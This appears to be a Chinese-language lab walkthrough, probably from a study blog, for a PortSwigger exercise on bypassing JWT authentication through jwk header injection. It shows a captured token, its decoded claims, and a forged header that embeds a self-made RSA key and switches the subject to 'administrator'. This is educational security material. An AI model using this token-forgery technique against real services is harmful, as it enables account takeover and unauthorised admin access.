从业者-jwk标头注入
# 实验室:通过jwk标头注入绕过JWT身份验证
# 题目
此实验室使用基于 JWT 的机制来处理会话。服务器支持 JWT 标头中的jwk
参数,正确的验证密钥有时会被直接嵌入到令牌中。但是,服务器无法检查所提供的密钥是否可信。
若要解决实验室问题,请修改并签名一个新 JWT,然后访问位于/admin
的管理面板并删除carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
。
提示
在尝试此实验之前,我们建议你先熟悉一下如何在 BurpSuite 中使用 JWTs (opens new window)。
- name: 实验室-从业者
desc: 通过jwk标头注入绕过JWT身份验证 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
eyJraWQiOiIyMjZhZjQ0NC1hOTFmLTQ4NjMtYTU1Ni0yYzRlN2MwOGIyZTQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODI0NzY0Niwic3ViIjoid2llbmVyIn0.H7i59ULtwdYCqO_j-Pq_nJErhsjkCbB6pwJ-bHon-lYhuS5uoY-5ZpqoK3IFiKc2jF-9o_9L-VXuEcwNWXsbAhWAZWas1D4fRS5oXo_smsjyLw1LVrvJzTBiNYkwBOjEGNNihcm6zWFdPODkbd63plJlcu6o3DSvbHU9IzOUkL-fxqF5U_wVJFyNl5iGnLLgEHWQ663BhV7rXwzbfb2eqcuC6APpkyUymuCLMCmWSSIaX4QeYgcwkhdMcbUZjwWm-UDHZgoD2NfxsclfRqLVoc_ULENIPyc5DLf_aLWpo2-SEZarjwXOdawzMG4UVVTwDU2nBuz-JveYLsy6GUOwwQ
1
{
"kid": "226af444-a91f-4863-a556-2c4e7c08b2e4",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1708247646,
"sub": "wiener"
}
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
# 生成自己的RSA密钥对
# 篡改JWTs并重新签名
// 通过扩展的辅助功能 “Attack -> Embedded JWK” 自动生成 JWTs 标头部分
{
"kid": "<你自己的RSA密钥ID>",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "<你自己的RSA密钥ID>",
"n": "......"
}
}
{
"iss": "portswigger",
"exp": 1708247646,
"sub": "administrator"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
编辑 (opens new window)